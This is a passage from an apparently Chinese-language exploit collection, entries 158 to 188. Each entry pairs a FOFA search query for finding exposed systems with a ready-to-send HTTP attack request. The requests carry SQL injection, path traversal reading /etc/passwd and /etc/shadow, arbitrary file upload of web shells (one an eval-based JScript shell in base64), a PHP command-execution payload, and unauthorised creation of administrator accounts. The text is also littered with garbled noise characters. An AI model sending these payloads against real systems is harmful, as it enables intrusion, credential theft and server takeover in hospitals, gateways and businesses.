3 l6 w" Q5 I: {! j7 z0 A, Vnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
) J) r* ?# [3 d, ~
null
( C& U+ S, e: Q6 \------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
4 Z+ X4 d5 S% u/ ]7 k1 K- h
) s  x1 T& b! G" p; x# G0 bnull
1 H; `5 W# F& m------WebKitFormBoundary1imovELzPsfzp5dN--


http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

/ {( H* r  M, H: |* M158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
1 @9 O8 Z7 W( I# OPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
! a3 z! m5 `& D2 A/ T2 WContent-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
, h; p5 ~' ^% Z1 [2 |* _
. y0 A: H4 K. t5 \& k
1 c$ J. R* H2 A9 d5 g159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
0 ?) A% k3 `$ j/ eFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
+ l4 J8 `" V* ]& V9 N9 R5 \: mPOST /webservices/WebJobUpload.asmx HTTP/1.1
4 g; W' Q& Q/ q; W( mHost: x.x.x.x
) y' Q# @% c( R- t, O3 _# hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
" a! W" ]- Y1 H% O! E6 EAccept-Encoding: gzip, deflate
Connection: close
" P+ n: c) D1 f" x5 h6 @: u- xContent-Type: text/xml; charset=utf-8
( A( }' E7 K1 V/ W5 gSoapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
4 p) ~3 G; k7 L; U; M. s; U<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
5 B9 P# T9 A" q4 o7 G$ G( }2 _  j<fileName>abcrce.asmx</fileName>
$ Y# X, w3 o2 q& V( F/ b/ o<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
2 {, P7 z9 e) t/ M# ~</jobUpload>
" I6 _! V. V% ], h8 I/ |+ b</soap:Body>
6 J; O( T' f# g6 N+ O' O* E</soap:Envelope>
0 q" n- l! x6 Y! h
: S/ V4 y: P2 n+ m- L: ?% ]
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


4 B+ K- Z$ d6 [2 @' x+ K160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
2 U- t7 q' k: t7 j+ M* b3 a: @GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
& t9 X: v) V! _, JAccept: */*
Accept-Language: en
  z% ^! }8 g( E( q7 G! U, KAccept-Encoding: gzip


161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
) d4 ^' Y5 l$ \2 Z# i4 RFOFA：body="/KT_Css/qd_defaul.css"
% J- b& H. V* [) B: d第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip

/ z$ ], g' M+ F: {7 a<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
: x' e& C7 i6 t! ^+ jhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
2 [0 }$ x0 M$ d) _( _<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
, H6 y  m2 }+ j: d% v4 s</soap:Envelope>


http://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
. v7 Q. B1 D. P2 B8 EPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
" L% E1 l" A0 u: V% {; `! R' BContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
5 L( n* W! N  f6 YAccept-Encoding: gzip
7 \" o/ E) p3 V+ ?; @& K& c* d# L6 P
------WebKitFormBoundaryeegvclmyurlotuey
. n, y* X6 e1 z" s; g- w7 a, IContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
7 P1 ^. L: w9 f& ?
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

upload
------WebKitFormBoundaryeegvclmyurlotuey
" W) W0 U/ j! ?# k8 E" P/ jContent-Disposition: form-data; name="responderId"

ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
1 b9 a4 F9 P3 r/ M' z! g# tContent-Disposition: form-data; name="remotePath"

/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
9 H* g3 l) h3 U/ X
0 j/ Z1 X, l8 S1 b
3 t3 ]" b/ a, ^. f; ]) u) Rhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
$ D$ M/ d. m8 R# G
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
( x% j+ Z0 x. A& M6 |, G6 |+ u. {FOFA: icon_hash="-795291075"
1 R/ i2 F" l% a. {- U- `8 f. `POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
/ Y4 I) {( B/ k2 GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
! ]3 P9 @% n: v3 s  zContent-Length: 293
9 j. l. s+ f# iAccept: */*
+ g, r& @; h7 `0 kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 O& i. q6 a; K) \; NContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

& K/ p2 {, ~# u0 G% i- e  o, b------iiqvnofupvhdyrcoqyuujyetjvqgocod
# ^6 S% f6 i/ [Content-Disposition: form-data; name="name"

1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
: D* x" y+ z$ G5 x& W* yContent-Type: image/jpeg
' m. y) X7 X0 O$ {) U1 o8 r* `
; C  Q' x) ~7 ?7 m/ zrvjhvbhwwuooyiioxega
" c( I8 Y, k& ?; i8 v. q( d( l: l% T------iiqvnofupvhdyrcoqyuujyetjvqgocod--


  P) T3 `8 u, W' D1 f164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
8 r7 k; u6 N7 {  B: B4 sPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
  G% f( Z5 d2 ^8 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
9 o# a4 e# s5 D) A- wContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
1 x3 o6 Z9 N: i$ J7 BContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
& r1 k, _3 U+ \7 O6 WAccept-Encoding: gzip
8 N1 _* r) l3 I
* f  e7 B4 J5 K% C. F------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
3 C" Q0 I! |* x. W' n
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
# R# F% G3 Y" k, }* j------dqdaieopnozbkapjacdbdthlvtlyl--
( _! \6 }7 H0 @. [  B% n$ T( G4 n
& g4 [  ^" m5 r- b
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

* G* b6 u3 q* e5 g165. OrangeHRM 3.3.3 SQL 注入
4 Z/ y; Q9 }& TCVE-2024-36428
# @7 X6 u2 B7 C" R" e/ ZFOFA: app="OrangeHRM-产品"
2 }& p2 x& u$ A* iURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

+ Y' X2 q% u6 |5 d
166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
, H  c& E5 c" Q3 fPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
2 c1 T0 u2 v. nPragma: no-cache
Cache-Control: no-cache
9 y0 a& ~! F7 B6 p+ w# \6 ~Upgrade-Insecure-Requests: 1
7 x* E, V1 R' O! I% D3 s4 MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
1 E: Q+ N$ r# u1 o8 j$ O6 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
- h5 F' g* M9 R8 g$ w4 bCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
5 U& ^' A5 o, j0 fConnection: close
: K1 B' x7 G- Y# j  c3 I2 tContent-Type: application/x-www-form-urlencoded
' C' T' G( h1 a1 n) t# O% S, HContent-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

' T9 k8 \% h) e+ w$ d
167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
. ?3 l5 P& W3 B- P9 e9 |* yGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
/ @* o. {& [7 q9 N) p0 }- k9 CAccept-Encoding: gzip, deflate
Accept: */*
7 P! E8 |# v- s5 W/ L% G- HConnection: keep-alive
6 i% D) r2 r, E  B
- ?4 y' y& E4 j+ ^- [3 M
$ n5 U6 b" q6 ~1 \( w: g3 ]# v168. 宏景EHR OutputCode 任意文件读取
, L: t% {# g% R9 Y% LFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
  \% @0 X6 d7 HContent-Type: application/x-www-form-urlencoded
Connection: close
! e, Q/ Y6 n$ f4 V4 F


169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
1 L4 X6 w% d3 X  V2 A& w1 U( jGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
3 U1 \! Z/ X9 X! a2 }7 V; HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close


; M+ `, P+ c: n0 \/ m+ `
# k8 b2 P) K- }$ z: V) Q3 a170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
: j; F4 H& n5 uUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 c! X; W* C6 U+ y% z3 cContent-Type: application/x-www-form-urlencoded

, o- B# b. U- `filename=../webapps/ROOT/WEB-INF/web.xml


171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
4 |8 o+ r! v  ~, V, vGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
6 E( C3 ]' @4 T# WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 r; s0 S/ o& y8 u8 i* ]. xAccept-Encoding: gzip, deflate
3 j8 ^8 s9 k# H. R2 [* z7 ?Connection: close
$ O/ a' w+ q1 P: \; {0 G! \( N
1 }- V# u2 U# }6 U* [5 R8 W

  i, V! v/ q* l! a) N0 h172. DT-高清车牌识别摄像机任意文件读取
5 `/ E, j8 o1 t/ `) bFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" L1 z' k( @8 v% H2 P7 IAccept-Encoding: gzip, deflate
2 k. f2 K1 ~' H& r- YAccept: */*
Connection: keep-alive



173. Check Point 安全网关任意文件读取
CVE-2024-24919
. I' Y  I0 N2 K0 C# fFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
+ ~% Z- C, F: D: O) t, GHost: your-ip
9 U" f7 z8 _+ h: I2 vContent-Type: application/x-www-form-urlencoded
" I, z1 r. h1 L0 z8 W: _  Y
aCSHELL/../../../../../../../etc/shadow



1 p/ W$ E5 Y% m4 x. `7 u$ @174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
" `! g8 R7 E: mGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
/ \) ]& u4 {$ Z# i* C$ iHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
3 E# p- [  v2 Q/ J. u% jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
+ [- H) \& F% k: P: ~4 dAccept-Language: zh-CN,zh;q=0.9
( W% J- O: `1 Y2 G! J+ `) R2 NConnection: close


# Z* s7 R/ ]9 ~; [. o* Q- A
, l6 O: W/ b! `) t7 [" k' V175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
" Q/ h9 U$ m) A" oGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
/ Z( e+ Z$ e5 C  E% eUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
1 Z: C2 Z1 ^& D9 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
, T$ s1 u" X$ \/ ]Connection: close
Upgrade-Insecure-Requests: 1

& Y  y" x% H% z" \
176. 电信网关配置管理系统 rewrite.php 文件上传
6 w9 M: Y9 n6 x% S8 h( AFOFA：body="img/login_bg3.png" && body="系统登录"
2 k4 I, B4 Z" s/ H* JPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
% B) a1 w! M8 Z# H% v! O8 K5 ~8 B* h/ {6 rConnection: close

5 r0 Z& F8 Q0 D& r! X, ^0 x------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
$ c$ a& k' E8 W/ V4 [! f( a
/ G* Z4 m4 y. k3 e<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
4 M: c/ _& N5 t. r! a& f3 KContent-Disposition: form-data; name="uploadtime"
4 {1 c  R% o/ `4 z! J
* W+ c/ {; @8 Q
------WebKitFormBoundaryOKldnDPT--

3 t/ e- L" k) H: j

& C  T' h: U- y* z177. H3C路由器敏感信息泄露
: Y. Y, z& i- A0 S( j6 d; Q, o/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
  b2 K! |, s; Z/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
" f' g2 e6 x7 a) N: w' x/userLogin.asp/../actionpolicy_status/../GR2200.cfg
# `2 {) S2 V0 @& K9 b3 Z: W/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
2 ^$ a9 @$ n* P& V/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
3 d" w. s) I% S0 e8 d2 X/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
6 [1 U( i, V4 U! J! R; a6 o/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
; S9 s8 P! ^' a1 V, L; N3 v/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
4 f- P$ _. m0 V% F: i/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

% h6 J" X* X& ]; E! t3 D9 l" {% |
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
1 p1 O  _7 x4 E7 j, ]5 w& J) x$ P2 VPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
1 f4 b3 X! l6 T8 o! p( AAccept-Encoding: gzip, deflate
Connection: close
- `3 s' h( `/ wContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
2 D- C& G0 k* {3 j/ r-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
, Y; U% J9 E- T% E/ l1 N! IContent-Type: application/octet-stream
4 N+ f, g6 X3 i" ?+ u- yContent-Length: 255

12234
; t, R" E2 y# h, n9 i; q4 O; e-----------------aqutkea7vvanpqy3rh2l--
4 R' |$ h, S" w5 V5 A) l. f

2 s! s% R0 H- G, R5 c+ ^) U6 `5 {GET /imc/primepush/%2e%2e/flex/12234.txt

2 a0 _' [% R+ e' E
. E6 ?& ?) g% E179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
1 z4 n, s0 l+ D9 W8 RContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=

* u- T, f: m' m
180. 帮管客 CRM jiliyu SQL注入
: i% n# B  U1 W( ?* U/ `5 rFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
; `$ r2 I8 k# Z, p5 d1 [1 |Host: your-ip
2 o2 W' V  m; R  z6 D# fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 S! z* M$ D( a4 uAccept-Encoding: gzip, deflate
5 Y: x! E: q4 t0 Z0 ]9 cAccept-Language: zh-CN,zh;q=0.9
Connection: close


181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
. x2 S3 ?6 |* b! nFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
+ F$ a# D) ~2 p: O+ cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
. a' h& m+ u& N/ qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
) d4 L% q3 l( d9 \" q4 Q( H3 Z0 fAccept-Language: zh-CN,zh;q=0.9
Connection: close
) F" B2 `$ R- i: W( MContent-Type: application/x-www-form-urlencoded
) c7 ]6 {8 t0 m; h
& I. h! {7 ?6 u3 E/ A0 s+ M. ?
( C) h0 P8 k5 Q7 k9 k6 Q0 ^+ [action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
- E( {# r" a8 d) d/ @3 R

& H( R! K. w' L$ [182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
% O+ w& l% f5 J' pFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
9 _, \  G! h3 H5 E( _: o+ J

username=test1234&pwd=test1234&savedays=1

# ]7 n; Q5 Z: h. }' ]  U: g
  j  @# q/ ^; m1 o183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
. d! s6 K& B8 E# ?- z4 o$ yFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
, H. |. W$ p1 {8 X  tGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
* u9 N; z5 v+ vUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
5 q: U0 k! k. }$ o/ _Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
" v% k5 \6 [/ ]. |7 }Connection: close
- o, s  G% z' C/ I* {% a

184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
2 ]2 m& l) L% x; ~FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
8 D! B1 R2 R" NAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
" u& \3 a4 ]$ @0 b, RContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
0 W' U: C% b$ ?" R/ F- n5 K& t

* V! f- W, c. g; ]$ P' r+ Pinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
! H8 u( c$ [; xFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
8 p6 O; r: @1 m! {$ x* e) x! FHost: host
7 C# E9 f8 q/ r1 P8 ]

! r3 l1 J" Y" R( l- G186. F-logic DataCube3 SQL注入
0 y" G4 Q) u9 D" p4 G" _CVE-2024-31750
8 }3 d" {5 q5 D2 F: L2 q% D, IF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
7 I' y! n3 r* ?/ m' d* PFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
; [& x3 P& g" Y+ D" dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) J, }+ I# w& }" Z7 t* mAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
, K1 k. @& V7 i3 W' \8 w7 ~* K
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


6 j. n9 m! Y* _187. Mura CMS processAsyncObject SQL注入
& m4 F$ {4 o! T: u* o# jCVE-2024-32640
FOFA："Mura CMS"
4 j; h. x  I6 ~1 m& y, g! g! gPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
- Z& z6 U0 Y( g( D' W: K. ~* KHost: your-ip
Content-Type: application/x-www-form-urlencoded

3 {% O8 M2 j+ I( V6 o9 |( }4 E
, S1 K* [2 X4 s" `% [% S8 zobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


$ c1 F, M* p9 ^5 {1 }4 f) ^8 J188. 叁体-佳会视频会议 attachment 任意文件读取
6 g# `8 s# c$ E! ?6 s$ l( S$ Sversion <= 3.9.7
